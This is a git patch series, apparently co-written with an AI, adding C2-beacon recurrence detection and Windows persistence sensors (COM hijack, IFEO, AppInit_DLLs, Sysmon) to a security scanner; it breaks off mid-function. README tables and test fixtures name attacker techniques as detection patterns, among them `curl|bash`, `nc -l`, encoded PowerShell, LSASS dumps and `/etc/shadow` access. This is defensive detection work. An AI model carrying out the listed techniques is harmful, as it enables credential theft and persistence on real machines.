From 6713119781f7ac7ce5870cc2d8a0decb60b0fe94 Mon Sep 17 00:00:00 2001 From: "C.D.Lee" <265386841+opencdlee-dotcom@users.noreply.github.com> Date: Tue, 11 Aug 2026 08:18:18 -0700 Subject: [PATCH 01/11] feat(aegis): beaconing-shape recurrence on the outbound surface Outbound can't be baseline-diffed (browser churn), but recurrence keys on the opposite invariant: the same (binary, remote ip:port) pair persisting across scans is C2-beacon residue. Each scan's outbound row set (with trust captured at observation time) is stored via the observation store; the pure _beacon_recurrence analysis fires HIGH when a pair live this scan was seen in >=3 distinct scans spanning >=45 min, from a non-browser binary outside every trusted prefix whose signature is suspicious or which runs from a user-writable path. Stable beacon:path:ip:port fingerprint = one incident, occurrence count climbs, no re-alert storm. Live per-scan scoring is unchanged; a probe non-answer stores nothing. 10 new sandboxed tests (fail-before verified); full suite 681 green. Co-Authored-By: Claude Fable 5 --- README.md | 1 + aegis.py | 87 +++++++++++++++++++++- tests/test_beacon.py | 170 +++++++++++++++++++++++++++++++++++++++++++ 3 files changed, 256 insertions(+), 2 deletions(-) create mode 100644 tests/test_beacon.py diff --git a/README.md b/README.md index 164c66d..2d44ce0 100644 --- a/README.md +++ b/README.md @@ -113,6 +113,7 @@ Runs `aegis.py scan` on an interval and reports/alerts on: | **Config profiles** | A newly-installed configuration profile | Adds trusted certs / proxies / MDM control — an adware & DPRK vector | | **Extra persistence** | `/etc/crontab`, `/etc/periodic`, StartupItems, `/etc/rc.common` tamper — plus `/etc/hosts` (adware/phishing redirect), `/etc/pam.d` + `/etc/sudoers.d` (auth-chain backdoor, T1556), `sshd_config`, and **`~/.ssh/authorized_keys` / `~/.ssh/config`** (a newly-appearing key = the classic durable-remote-access implant, T1098.004; a `ProxyCommand` hijack runs code on every ssh) | Persistence surfaces beyond `LaunchAgents` and the user crontab | | **Network listeners** *(new)* | A **new** process accepting connections *from the network* (non-loopback TCP LISTEN, via `lsof`), baseline-diffed. Unsigned/ad-hoc binary in a user-writable path listening → HIGH (bind-shell / rogue-server shape); anything else → MEDIUM (logged). Loopback dev servers and SIP-pinned Apple daemons are excluded by design — but an Apple-signed *interpreter* serving the network (`python3 -m http.server 0.0.0.0`, `nc -l`) **is** tracked | LuLu-tier *outbound* blocking needs an Apple entitlement; the *listening* side is visible unprivileged, and a reachable listener is rare, durable, and high-signal | +| **Outbound beacon shape** *(new)* | Outbound can't be baseline-diffed (a browser opens hundreds of ephemeral connections), so each scan's row set is *stored* instead, and the **same (binary, remote ip:port) pair** re-observed in ≥3 distinct scans spanning ≥45 minutes — from a **non-browser** binary outside every trusted prefix that is unsigned/ad-hoc *or* runs from a user-writable path — alerts HIGH. One incident per pair; continued recurrence climbs the occurrence count instead of re-alerting | Interval polling is structurally *good* at exactly one network shape: browser churn disappears between scans, a C2 beacon's endpoint keeps being there — recurrence is the residue | | **Browser extensions** | New Chromium-family / Firefox extension appearing | Malicious extensions exfiltrate sessions, cookies, wallet data | | **Editor extensions** | New VSCode / Cursor / VSCodium / Windsurf extension | A backdoored editor extension is a live supply-chain vector (Objective-See's *Paradox*, 2025, shipped via a trojanised Cursor extension) | | **Background items** *(capability-dependent)* | Where macOS permits `sfltool dumpbtm`, a **new** Login Item / SMAppService background agent is baseline-diffed. A new item with **no Team ID whose URL is in a user-writable path** → HIGH, else MEDIUM. If Apple requires interactive authorization, the sensor reports DEGRADED rather than clean. | Catches the modern persistence path the LaunchAgents-directory scan **cannot see** without pretending the data exists when macOS withholds it | diff --git a/aegis.py b/aegis.py index d9bb21a..569145e 100755 --- a/aegis.py +++ b/aegis.py @@ -6353,18 +6353,101 @@ def check_outbound(): """Record the exfil shape the listener surface is structurally blind to: an untrusted binary in a user-writable path holding an ESTABLISHED outbound connection. We can't baseline-diff outbound (a browser opens hundreds), so - this scores live via _outbound_finding. Best-effort: a non-answer from the - platform probe yields no findings.""" + this scores live via _outbound_finding — and stores each scan's row set so + _beacon_recurrence can score the one key interval polling IS good at: the + same (binary, remote) pair persisting across scans. Best-effort: a + non-answer from the platform probe yields no findings and stores nothing + (an empty snapshot would be indistinguishable from a quiet machine).""" findings = [] seen = set() + snap_rows = [] for path, rip, rport in _outbound_rows(): key = "%s:%s:%s" % (path, rip, rport) if key in seen: continue seen.add(key) + # Trust captured at observation time (sigcache makes the re-ask free) + # so the stored rows grade without re-classifying long-gone binaries. + resolvable = path.startswith("/") or (IS_WIN and ":" in path[:3]) + trust = classify_signature(path)["trust"] if resolvable else "unknown" + snap_rows.append((path, rip, rport, trust)) f = _outbound_finding(path, rip, rport) if f: findings.append(f) + if snap_rows: + record_observation(BEACON_SENSOR_ID, sorted(snap_rows)) + findings += _beacon_recurrence( + _load_observations(BEACON_SENSOR_ID, BEACON_WINDOW_DAYS), snap_rows) + return findings + + +# --- Outbound recurrence (beacon shape) --------------------------------------- +# The live scorer above is per-scan by necessity — outbound churn defeats a +# baseline diff. RECURRENCE keys on the opposite invariant: browser churn does +# not survive between scans, a C2 beacon's (binary, remote ip:port) pair does. +BEACON_SENSOR_ID = "outbound.snapshot" +BEACON_MIN_SCANS = 3 +BEACON_MIN_SPAN_SECS = 45 * 60 +BEACON_WINDOW_DAYS = 7 + +# Browsers (and their helper processes) hold long-lived remote pairs +# legitimately (push channels, sync), so they are excluded by NAME as well as +# by trust — a user-installed browser outside a trusted prefix must stay +# silent. Mirrors _BROWSER_EXE_RE plus the macOS helper-suffix forms. +_BEACON_BROWSER_RE = re.compile( + r"(?:^|[/\\])(?:Google Chrome|Chromium|chrome|brave|Brave Browser|" + r"msedge|Microsoft Edge|firefox|Firefox|Safari|Opera|Vivaldi|Arc)" + r"(?:\.exe)?(?: Helper(?: \([^/\\]*\))?)?$", re.I) + + +def _beacon_recurrence(history, current_rows): + """HIGH findings for the beacon residue shape: a (path, remote ip:port) + pair live in THIS scan and already observed in >= BEACON_MIN_SCANS distinct + stored scans spanning >= BEACON_MIN_SPAN_SECS, from a non-browser binary + outside every trusted prefix whose signature is suspicious OR which runs + from a user-writable path. Pure over (ts, rows) snapshots — the platform + split already happened in _outbound_rows — so it is testable with synthetic + rows everywhere. The fingerprint is the pair, stable across scans: the + seen/signal machinery turns continued recurrence into one incident with a + climbing occurrence count, never a re-alert storm. Below-threshold + recurrence is deliberately not emitted — the live MEDIUM above already + feeds risk accumulation.""" + if not current_rows: + return [] + sightings = {} + for ts, rows in history: + if not isinstance(rows, (list, tuple)): + continue + for row in rows: + if not isinstance(row, (list, tuple)) or len(row) < 3: + continue + pair = (str(row[0]), str(row[1]), str(row[2])) + sightings.setdefault(pair, set()).add(int(ts)) + findings = [] + for row in sorted(set(tuple(r) for r in current_rows)): + path, rip, rport = str(row[0]), str(row[1]), str(row[2]) + trust = str(row[3]) if len(row) > 3 else "unknown" + stamps = sightings.get((path, rip, rport), ()) + if len(stamps) < BEACON_MIN_SCANS: + continue + span = max(stamps) - min(stamps) + if span < BEACON_MIN_SPAN_SECS: + continue + if _is_trusted_prefix(path) or _BEACON_BROWSER_RE.search(path): + continue + if not (suspicious_sig(trust) or is_risky_location(path)): + continue + findings.append(finding( + "HIGH", "net-beacon", + "Persistent outbound connection (beacon shape)", + "%s [%s] has held a connection to %s:%s in %d scans spanning " + "%.1f hours. Ephemeral outbound churn does not survive between " + "scans; the same non-browser binary re-observed at the same " + "remote endpoint is the residue an interval C2 beacon leaves." + % (path, trust, rip, rport, len(stamps), span / 3600.0), + "beacon:%s:%s:%s" % (path, rip, rport), path=path, program=path, + remote=rip, port=rport, trust=trust, scan_count=len(stamps), + span_secs=span, markers=["outbound-exfil", "beacon"])) return findings diff --git a/tests/test_beacon.py b/tests/test_beacon.py new file mode 100644 index 0000000..e1a4818 --- /dev/null +++ b/tests/test_beacon.py @@ -0,0 +1,170 @@ +#!/usr/bin/env python3 +"""Beacon-shape outbound recurrence — regression suite. + +Outbound cannot be baseline-diffed (a browser opens hundreds of ephemeral +connections per scan), so check_outbound scores live rows per-scan only. +Recurrence keys on a different invariant: the same (binary, remote ip:port) +pair re-observed across many distinct scans is the residue an interval C2 +beacon leaves and browser churn does not. These tests pin both poles — a +recurring untrusted pair fires HIGH exactly once at the incident level; +browsers, trusted-prefix binaries, and below-threshold recurrence stay +silent — and that the live per-scan scoring is unregressed. + +Fully sandboxed via the test_regression Sandbox base: never touches real +~/.aegis, never fires a desktop notification. Stdlib-only. + +Run: python3 -m unittest discover -s tests (from the repo root) + or: python3 tests/test_beacon.py +""" +import gzip +import json +import os +import sys +import time +import unittest + +sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.abspath(__file__)))) +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) # sibling import +import aegis # noqa: E402 +from test_regression import Sandbox # noqa: E402 + + +def history(row, count, step=1800, base=1_700_000_000): + """`count` stored scan snapshots each containing `row`, `step` secs apart.""" + return [(base + i * step, [list(row)]) for i in range(count)] + + +class BeaconSandbox(Sandbox): + def setUp(self): + super().setUp() + # The sandbox tmp dir stands in for a user-writable drop path on every + # platform (mirrors TestOutbound), saved/restored so nothing leaks. + self._saved.setdefault("RISKY_PREFIXES", aegis.RISKY_PREFIXES) + aegis.RISKY_PREFIXES = tuple(set(aegis.RISKY_PREFIXES) | {self.tmp}) + self.payload = os.path.join(self.tmp, "payload") + # (path, remote_ip, remote_port, trust) — trust "unsigned" is + # suspicious on mac/win; the risky-location arm covers Linux. + self.row = (self.payload, "45.94.47.145", "8443", "unsigned") + + +class TestBeaconRecurrence(BeaconSandbox): + def test_recurring_untrusted_pair_fires_high(self): + # 3 distinct scans spanning 60 minutes, pair still live this scan. + hist = history(self.row, 3) + fs = aegis._beacon_recurrence(hist, [self.row]) + self.assertEqual(len(fs), 1) + f = fs[0] + self.assertEqual(f["severity"], "HIGH") + self.assertEqual(f["fingerprint"], + "beacon:%s:45.94.47.145:8443" % self.payload) + # Scan count, span and endpoint must all be in the detail. + self.assertIn("3 scan", f["detail"]) + self.assertIn("45.94.47.145:8443", f["detail"]) + + def test_fires_once_at_incident_level_and_does_not_restorm(self): + hist = history(self.row, 3) + first = aegis._beacon_recurrence(hist, [self.row]) + self.assertEqual(len(aegis.emit(first, first_run=False)), 1) + self.assertEqual(len(self.notifications), 1) + # The pair keeps recurring on later scans: identical fingerprint, so + # the seen/signal machinery dedups — no second notification, ever. + hist += history(self.row, 2, base=1_700_000_000 + 3 * 1800) + again = aegis._beacon_recurrence(hist, [self.row]) + self.assertEqual(again[0]["fingerprint"], first[0]["fingerprint"]) + self.assertEqual(aegis.emit(again, first_run=False), []) + self.assertEqual(len(self.notifications), 1) + + def test_browser_recurring_forever_stays_silent(self): + # Browsers hold long-lived remote pairs legitimately — silent by NAME, + # even unsigned in a user-writable path (where the trust gates alone + # would have fired), and helper processes count as the browser too. + for name in ("Google Chrome", "Google Chrome Helper (Network)", + "chrome.exe", "firefox", "Brave Browser Helper"): + row = (os.path.join(self.tmp, name), "45.94.47.145", "8443", + "unsigned") + hist = history(row, 12) # far past every threshold + self.assertEqual(aegis._beacon_recurrence(hist, [row]), [], + "browser %r must stay silent" % name) + + def test_trusted_prefix_binary_stays_silent(self): + path = aegis.TRUSTED_PREFIXES[0] + "beacond" + # trust "broken" is suspicious on every platform, so only the + # trusted-prefix gate keeps this silent. + row = (path, "45.94.47.145", "8443", "broken") + self.assertEqual(aegis._beacon_recurrence(history(row, 6), [row]), []) + + def test_below_threshold_recurrence_stays_silent(self): + # Two scans only — even spanning hours. + two = history(self.row, 2, step=7200) + self.assertEqual(aegis._beacon_recurrence(two, [self.row]), []) + # Three scans but a span under 45 minutes. + tight = history(self.row, 3, step=600) + self.assertEqual(aegis._beacon_recurrence(tight, [self.row]), []) + + def test_pair_gone_from_current_scan_stays_silent(self): + # History satisfies the thresholds but the pair is no longer live — + # nothing to report as a persistent connection. + hist = history(self.row, 5) + self.assertEqual(aegis._beacon_recurrence(hist, []), []) + + def test_unvouchable_relative_comm_stays_silent(self): + # A row whose path never resolved (bare comm name) can't be graded — + # neither trust arm can vouch against it, so it must not fire. + row = ("claude", "45.94.47.145", "8443", "unknown") + self.assertEqual(aegis._beacon_recurrence(history(row, 6), [row]), []) + + +class TestBeaconThroughCheckOutbound(BeaconSandbox): + def _stub_platform(self): + self._saved.setdefault("_outbound_rows", aegis._outbound_rows) + aegis._outbound_rows = lambda: [(self.payload, "45.94.47.145", "8443")] + self._saved.setdefault("classify_signature", aegis.classify_signature) + aegis.classify_signature = lambda p: { + "trust": "unsigned", "team": None, "authority": None} + + def _seed_observation(self, age_secs, rows): + os.makedirs(aegis.OBSERVATIONS_DIR, mode=0o700, exist_ok=True) + name = "outbound.snapshot.%d.json.gz" % (int(time.time()) - age_secs) + with gzip.open(os.path.join(aegis.OBSERVATIONS_DIR, name), "wb") as f: + f.write(json.dumps(rows).encode("utf-8")) + + def test_scan_records_rows_and_flags_recurrence(self): + self._stub_platform() + stored = [list(self.row)] + self._seed_observation(3000, stored) # 50 minutes ago + self._seed_observation(1500, stored) # 25 minutes ago + fs = aegis.check_outbound() + beacons = [f for f in fs if f["fingerprint"].startswith("beacon:")] + self.assertEqual(len(beacons), 1) + self.assertEqual(beacons[0]["severity"], "HIGH") + # Live per-scan scoring is unregressed: the MEDIUM outbound finding + # keeps its original fingerprint alongside the recurrence HIGH. + self.assertTrue(any( + f["severity"] == "MEDIUM" and f["fingerprint"].startswith("outbound:") + for f in fs)) + # This scan's row set was recorded for the next scan to count. + names = [n for n in os.listdir(aegis.OBSERVATIONS_DIR) + if n.startswith("outbound.snapshot.")] + self.assertEqual(len(names), 3) + + def test_two_prior_scans_do_not_fire(self): + self._stub_platform() + self._seed_observation(3000, [list(self.row)]) # 1 prior + current = 2 + fs = aegis.check_outbound() + self.assertEqual( + [f for f in fs if f["fingerprint"].startswith("beacon:")], []) + + def test_probe_non_answer_records_nothing(self): + # An empty probe answer must not write an empty snapshot (a failed + # netstat is indistinguishable from a quiet machine at this level). + self._saved.setdefault("_outbound_rows", aegis._outbound_rows) + aegis._outbound_rows = lambda: [] + self.assertEqual(aegis.check_outbound(), []) + self.assertEqual( + [n for n in os.listdir(aegis.OBSERVATIONS_DIR) + if n.startswith("outbound.snapshot.")] + if os.path.isdir(aegis.OBSERVATIONS_DIR) else [], []) + + +if __name__ == "__main__": + unittest.main() From 5f961fe80e15fde13fab98c389b738c6f225f54a Mon Sep 17 00:00:00 2001 From: "C.D.Lee" <265386841+opencdlee-dotcom@users.noreply.github.com> Date: Tue, 11 Aug 2026 08:23:19 -0700 Subject: [PATCH 02/11] feat(aegis): Windows persistence-evasion sensors + Sysmon harvest Add the rung above Run keys/schtasks/Winlogon: - COM hijacking (T1546.015): HKCU CLSID InprocServer32/LocalServer32 default values, baseline-diffed; a new/changed server resolving into a user-writable path is HIGH (a Program Files target is silent app churn). - IFEO (T1546.012/.008): HKLM Image File Execution Options Debugger and SilentProcessExit MonitorProcess values; a new Debugger on an accessibility binary (sethc/utilman/osk/magnify/narrator/displayswitch) is CRITICAL, any other new/changed Debugger/MonitorProcess is HIGH. - AppInit_DLLs (T1546.010): a non-empty value appearing or changing is HIGH. - Sysmon harvest: registered ONLY where the Operational channel exists (absent = product not installed = sensor absent, never DEGRADED). Narrow: EID 1 ProcessCreate scored through _argv_signals + is_risky_location (only what scores surfaces), EID 6 unsigned driver load HIGH, EID 25 process tampering HIGH. All parsing/scoring is pure and tested cross-platform with text/dict fixtures; the winreg/PowerShell probes are thin Windows-gated shells. Every probe follows the non-answer rule (failed read -> None/DEGRADED, never a false-empty baseline). New surfaces register into SURFACES (Windows) and the Sysmon sensor into gather_all (Windows) via one-line hooks. README layer table updated. 42 new tests in tests/test_win_evasion.py; full suite green (713 tests, 4 skips). Co-Authored-By: Claude Fable 5 --- README.md | 4 +- aegis.py | 415 +++++++++++++++++++++++++++++++++ tests/test_win_evasion.py | 471 ++++++++++++++++++++++++++++++++++++++ 3 files changed, 888 insertions(+), 2 deletions(-) create mode 100644 tests/test_win_evasion.py diff --git a/README.md b/README.md index 164c66d..362c7bc 100644 --- a/README.md +++ b/README.md @@ -29,14 +29,14 @@ on Linux is not a coverage gap. | Layer | macOS | Linux | Windows | |---|---|---|---| -| **Persistence** | launchd agents/daemons, cron, login hooks, config profiles, background items (BTM) | systemd user+system units, XDG autostart, cron, `/etc/cron.d`, rc.local, profile.d | Run/RunOnce keys, Winlogon Shell/Userinit, Startup folders, scheduled tasks, services outside the protected trees | +| **Persistence** | launchd agents/daemons, cron, login hooks, config profiles, background items (BTM) | systemd user+system units, XDG autostart, cron, `/etc/cron.d`, rc.local, profile.d | Run/RunOnce keys, Winlogon Shell/Userinit, Startup folders, scheduled tasks, services outside the protected trees — plus the evasion rung: HKCU CLSID COM-server hijacks, IFEO `Debugger`/SilentProcessExit, AppInit_DLLs | | **"Who vouches for this binary"** | `codesign`: apple / app-store / developer-id / adhoc / unsigned / broken | package-manager ownership: dpkg/rpm/pacman `os-managed` vs `unmanaged` | Authenticode: os-signed / signed-valid / unsigned / broken | | **Suspicious-exec rule** | unsigned/ad-hoc/broken in a user-writable path | **structural** — execution from a volatile dir, or a running binary deleted from disk (no ambient signing exists, so "unmanaged" is *not* treated as malicious: every locally built binary is unmanaged) | unsigned/broken in a user-writable path | | **Process + argv** | two `ps` calls joined on pid — asking for `comm` and `args` together truncates the exec path to 16 chars | `/proc` directly (works on minimal containers with no `procps`, and no argv truncation) | one CIM query (`Win32_Process`) | | **Network** | `lsof` listeners, `netstat` outbound | `/proc/net/tcp[6]` listeners + outbound, inode→pid via `/proc/*/fd` | `netstat -ano` listeners + outbound | | **Fileless TTPs scored in argv** | `osascript` password phish, `xattr -c`, `hdiutil -nobrowse`, keychain copy, `curl\|bash` | `LD_PRELOAD` injection, `/etc/ld.so.preload` writes, memfd exec, `systemctl enable /tmp/...`, `/etc/shadow` + SSH key access | `powershell -enc`, IEX download cradles, LOLBin proxy exec (mshta/regsvr32/rundll32/certutil), Defender/AMSI tamper, LSASS + SAM-hive dumps, shadow-copy deletion | | **OS engine harvest** | XProtect Remediator detections + definition age, Gatekeeper/syspolicy denials | `auth.log`/journal: SSH brute force, new accounts, privileged group adds, root logins | Event log: Defender detections (1116/1117), RTP disabled (5001), account creation (4720), audit-log cleared (1102), PowerShell script blocks (4104) | -| **OS-unique surface** | XProtect Behavioral (Bastion), agent skills, wallet integrity | **loaded kernel modules** (ring-0 rootkit), **new setuid-root binaries** | **WMI event subscriptions** (fileless persistence), **Defender exclusion changes** | +| **OS-unique surface** | XProtect Behavioral (Bastion), agent skills, wallet integrity | **loaded kernel modules** (ring-0 rootkit), **new setuid-root binaries** | **WMI event subscriptions** (fileless persistence), **Defender exclusion changes**, **Sysmon harvest** where installed (ProcessCreate scored in argv, unsigned driver loads, process tampering) | | **Hardening posture** | SIP, Gatekeeper, FileVault, firewall, stealth, Remote Login | SELinux/AppArmor enforcement, ufw/firewalld/nftables, sshd exposure + weak sshd settings, LUKS, unattended upgrades | Defender RTP + tamper protection + signature age, firewall profiles, BitLocker | | **Change-driven watch** | kqueue (sub-second) + live XProtect log tail | **inotify** via `ctypes` (sub-second), proven against a real kernel | short-cycle poll of the same watched path set | | **Background scheduling** | launchd agent | `systemd --user` service + timer | Scheduled Task | diff --git a/aegis.py b/aegis.py index d9bb21a..be54232 100755 --- a/aegis.py +++ b/aegis.py @@ -6573,6 +6573,249 @@ def changed_fn(key, payload, old): return _diff_map(prior, cur, new_fn, changed_fn) +# --- Windows: COM server hijacking (T1546.015) ------------------------------- +# The rung above Run keys: a per-user CLSID registration whose server DLL/EXE is +# swapped for a payload runs INSIDE whatever trusted process instantiates that +# COM object — no autostart entry, no Run key. HKCU wins over HKLM for the same +# CLSID, so a same-user attacker needs no admin. The event is a NEW or CHANGED +# server whose target resolves into a user-writable path; a registration that +# points at an admin-writable install tree (Program Files) is ordinary app churn +# and stays silent. Baseline-diffed like every other residue surface. +_COM_CLSID_KEY = r"Software\Classes\CLSID" + + +def _com_target(val): + """Resolve a CLSID server value to its program path. InprocServer32 stores a + bare DLL path; LocalServer32 stores an EXE command line — both go through the + same %VAR% expansion + quote/space splitter the Run-key path uses.""" + args = _win_split_cmd(_expand_win_env(val)) + return args[0] if args else None + + +def snapshot_com_hijack(): + """{clsid\\server: value} for HKCU CLSID InprocServer32/LocalServer32 default + values. The CLSID subtree is created lazily by the first per-user COM + registration, so its ABSENCE is a real empty ({}); a denied read is a + non-answer (None), never adopted as clean.""" + import winreg + try: + root = winreg.OpenKey(winreg.HKEY_CURRENT_USER, _COM_CLSID_KEY) + except FileNotFoundError: + return {} + except OSError: + return None + snap = {} + with root: + i = 0 + while True: + try: + clsid = winreg.EnumKey(root, i) + except OSError: + break + i += 1 + try: + ck = winreg.OpenKey(root, clsid) + except OSError: + continue + with ck: + for server in ("InprocServer32", "LocalServer32"): + try: + with winreg.OpenKey(ck, server) as sk: + val, _t = winreg.QueryValueEx(sk, "") + except OSError: + continue + if isinstance(val, str) and val.strip(): + snap["%s\\%s" % (clsid, server)] = val + return snap + + +def diff_com_hijack(prior, cur): + def _risky_target(val): + target = _com_target(val) + return target if (target and is_risky_location(target)) else None + + def new_fn(key, val): + target = _risky_target(val) + if not target: + return None + return finding( + "HIGH", "com-hijack", "New COM server hijack point", + "The COM registration %s now resolves to %r, a user-writable path. " + "A hijacked CLSID server runs inside whatever trusted process " + "instantiates the object — persistence with no Run key or task " + "(T1546.015). Confirm you installed this." % (key, target), + "com-hijack:new:%s:%s" % ( + key, hashlib.sha256(val.encode()).hexdigest()[:16]), + path=target, markers=["com-hijack"]) + + def changed_fn(key, val, old): + target = _risky_target(val) + if not target: + return None + return finding( + "HIGH", "com-hijack", "COM server hijack point CHANGED", + "The COM registration %s was repointed to %r, a user-writable path " + "(was %r). An in-place swap of an existing CLSID server keeps the " + "registration familiar while changing the code it runs " + "(T1546.015)." % (key, target, old), + "com-hijack:changed:%s:%s" % ( + key, hashlib.sha256(val.encode()).hexdigest()[:16]), + path=target, markers=["com-hijack"]) + return _diff_map(prior, cur, new_fn, changed_fn) + + +# --- Windows: IFEO Debugger + SilentProcessExit (T1546.012 / T1546.008) ------ +# An Image File Execution Options "Debugger" value hijacks a target binary: the +# named debugger launches INSTEAD of the target, with the target as its argument. +# Aimed at an accessibility binary (sethc.exe et al., reachable from the LOCK +# SCREEN) it is the classic pre-auth backdoor -> CRITICAL. SilentProcessExit +# MonitorProcess runs a program when a watched process exits — the same execute- +# on-event primitive. Writing these needs admin; READING them does not, and a +# value appearing is the signal regardless of who wrote it. +_WIN_IFEO_KEY = (r"Software\Microsoft\Windows NT\CurrentVersion" + r"\Image File Execution Options") +_WIN_SPE_KEY = (r"Software\Microsoft\Windows NT\CurrentVersion" + r"\SilentProcessExit") +_WIN_ACCESSIBILITY_BINS = frozenset(( + "sethc.exe", "utilman.exe", "osk.exe", "magnify.exe", "narrator.exe", + "displayswitch.exe")) + + +def snapshot_ifeo(): + """{debugger:|monitor:: value} across the two HKLM keys. + Either key being absent is a real empty for its half; a denied read of + either is a non-answer (None) for the whole surface.""" + import winreg + snap = {} + + def collect(subkey, value_name, prefix): + try: + root = winreg.OpenKey(winreg.HKEY_LOCAL_MACHINE, subkey) + except FileNotFoundError: + return True # key not present = genuinely no entries + except OSError: + return False # denied/other = non-answer + with root: + i = 0 + while True: + try: + name = winreg.EnumKey(root, i) + except OSError: + break + i += 1 + try: + with winreg.OpenKey(root, name) as sk: + val, _t = winreg.QueryValueEx(sk, value_name) + except OSError: + continue + if isinstance(val, str) and val.strip(): + snap["%s:%s" % (prefix, name)] = val + return True + + ok1 = collect(_WIN_IFEO_KEY, "Debugger", "debugger") + ok2 = collect(_WIN_SPE_KEY, "MonitorProcess", "monitor") + if not (ok1 and ok2): + return None + return snap + + +def diff_ifeo(prior, cur): + def _sev(key): + kind, _, name = key.partition(":") + if kind == "debugger" and name.lower() in _WIN_ACCESSIBILITY_BINS: + return "CRITICAL" + return "HIGH" + + def _label(key): + return ("Debugger" if key.startswith("debugger:") + else "SilentProcessExit MonitorProcess") + + def new_fn(key, val): + _kind, _, name = key.partition(":") + return finding( + _sev(key), "ifeo", "New IFEO %s hijack" % _label(key), + "A %s value for %r appeared: %r. The named program runs in place of " + "(or on the exit of) the target — an execute-hijack that needs no " + "Run key or task (T1546.012/T1546.008)%s. Confirm this is expected." + % (_label(key), name, val, + "; the target is an accessibility binary reachable from the " + "lock screen — a pre-auth backdoor" + if _sev(key) == "CRITICAL" else ""), + "ifeo:new:%s:%s" % ( + key, hashlib.sha256(val.encode()).hexdigest()[:16]), + markers=["ifeo-hijack"]) + + def changed_fn(key, val, old): + _kind, _, name = key.partition(":") + return finding( + _sev(key), "ifeo", "IFEO %s hijack CHANGED" % _label(key), + "The %s value for %r changed to %r (was %r) — an in-place swap of " + "the executed program (T1546.012/T1546.008)." + % (_label(key), name, val, old), + "ifeo:changed:%s:%s" % ( + key, hashlib.sha256(val.encode()).hexdigest()[:16]), + markers=["ifeo-hijack"]) + return _diff_map(prior, cur, new_fn, changed_fn) + + +# --- Windows: AppInit_DLLs (T1546.010) --------------------------------------- +# Every DLL listed in AppInit_DLLs is force-loaded into every user-mode process +# that links user32.dll — a single value that injects code system-wide. It is +# disabled by default on modern Windows, so a non-empty value appearing (or an +# existing one changing) is a high-signal event on any machine. +_WIN_APPINIT_KEYS = [ + r"Software\Microsoft\Windows NT\CurrentVersion\Windows", + r"Software\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Windows", +] + + +def snapshot_appinit(): + """{key: AppInit_DLLs value} for each non-empty value across the native and + WOW64 keys. A missing key/value is a real empty; a denied read is a + non-answer (None).""" + import winreg + snap = {} + for subkey in _WIN_APPINIT_KEYS: + try: + k = winreg.OpenKey(winreg.HKEY_LOCAL_MACHINE, subkey) + except FileNotFoundError: + continue + except OSError: + return None + with k: + try: + val, _t = winreg.QueryValueEx(k, "AppInit_DLLs") + except OSError: + continue + if isinstance(val, str) and val.strip(): + snap[subkey] = val.strip() + return snap + + +def diff_appinit(prior, cur): + def new_fn(key, val): + return finding( + "HIGH", "appinit", "AppInit_DLLs is now set", + "AppInit_DLLs under %s is now %r. Every DLL listed here is loaded " + "into every user-mode process that links user32 — a system-wide " + "code-injection persistence primitive that is disabled by default " + "(T1546.010). Confirm you set this." % (key, val), + "appinit:new:%s:%s" % ( + key, hashlib.sha256(val.encode()).hexdigest()[:16]), + markers=["appinit-dll"]) + + def changed_fn(key, val, old): + return finding( + "HIGH", "appinit", "AppInit_DLLs CHANGED", + "AppInit_DLLs under %s changed to %r (was %r) — the set of DLLs " + "force-loaded into every GUI process was modified (T1546.010)." + % (key, val, old), + "appinit:changed:%s:%s" % ( + key, hashlib.sha256(val.encode()).hexdigest()[:16]), + markers=["appinit-dll"]) + return _diff_map(prior, cur, new_fn, changed_fn) + + # --- Unified-log security harvest (Gatekeeper / syspolicy denials) ------------ _SYSPOLICY_DENY_RE = re.compile( r"\b(?:denied|blocked|rejected|will not be permitted|gke.*deny)\b", re.I) @@ -6877,6 +7120,174 @@ def check_windows_event_log(): return findings +# --- Windows: Sysmon Operational channel harvest ----------------------------- +# Sysmon (Sysinternals) is an OPTIONAL driver that logs high-fidelity telemetry +# to Microsoft-Windows-Sysmon/Operational. Where it is installed this is a +# far richer feed than the built-in logs, but it exists on a minority of hosts, +# so the sensor is REGISTERED ONLY when the channel exists (see _sysmon_sensor): +# channel absent = Sysmon not installed = sensor ABSENT, not a DEGRADED row for +# a product that is not there. Kept deliberately narrow — three event IDs whose +# meaning is unambiguous — riding the same windowed Get-WinEvent shape and the +# same _parse_win_events `log|id|time|message` contract as the event-log harvest. +_SYSMON_CHANNEL = "Microsoft-Windows-Sysmon/Operational" +# The channel's registration key; its presence is how we know Sysmon is +# installed without shelling out. +_SYSMON_CHANNEL_KEY = (r"SOFTWARE\Microsoft\Windows\CurrentVersion" + r"\WINEVT\Channels\Microsoft-Windows-Sysmon/Operational") +# EID 1 ProcessCreate (scored, not blanket-reported), 6 driver loaded, 25 +# process tampering. The full (untruncated) message carries the fields we parse. +_SYSMON_PS = ( + "try{$evts=Get-WinEvent -FilterHashtable @{" + "LogName='Microsoft-Windows-Sysmon/Operational';Id=@(1,6,25);" + "StartTime=(Get-Date).AddHours(-6)} -MaxEvents 200 -ErrorAction Stop}" + "catch{if($_.Exception.Message -match 'No events were found'){exit 0}" + "else{Write-Output 'sysmon-probe=failed';exit 0}};" + "foreach($e in $evts){$m=($e.Message -replace '\\s+',' ');" + "Write-Output ('Microsoft-Windows-Sysmon/Operational|' + $e.Id + '|' + " + "$e.TimeCreated.ToString('o') + '|' + $m)}") + +# Sysmon messages are `Field: value Field2: value2 ...` on one line (post the +# whitespace-collapse above). Field names are CamelCase tokens; a value ends +# where the next field label begins. Windows paths (`C:\...`) carry a colon but +# never a `colon-space`, so they are not mistaken for a field boundary. +_SYSMON_KV_RE = re.compile(r"(?:^|\s)([A-Z][A-Za-z0-9]*):\s") + + +def _parse_sysmon_kv(msg): + """Pure parser: a one-line Sysmon message -> {field: value}. Tolerant of + junk (never raises); an empty/label-free message yields {}.""" + if not msg: + return {} + matches = list(_SYSMON_KV_RE.finditer(msg)) + kv = {} + for i, m in enumerate(matches): + start = m.end() + end = matches[i + 1].start() if i + 1 < len(matches) else len(msg) + kv[m.group(1)] = msg[start:end].strip() + return kv + + +def _sysmon_eid1(msg, ts): + """ProcessCreate: score CommandLine through _argv_signals and Image through + is_risky_location; surface ONLY what scores (EID 1 is high-volume).""" + kv = _parse_sysmon_kv(msg) + image = kv.get("Image") or "" + cmd = kv.get("CommandLine") or "" + signals = _argv_signals(cmd) + risky = is_risky_location(image) + if not signals and not risky: + return None + digest = hashlib.sha256( + ("%s\x00%s" % 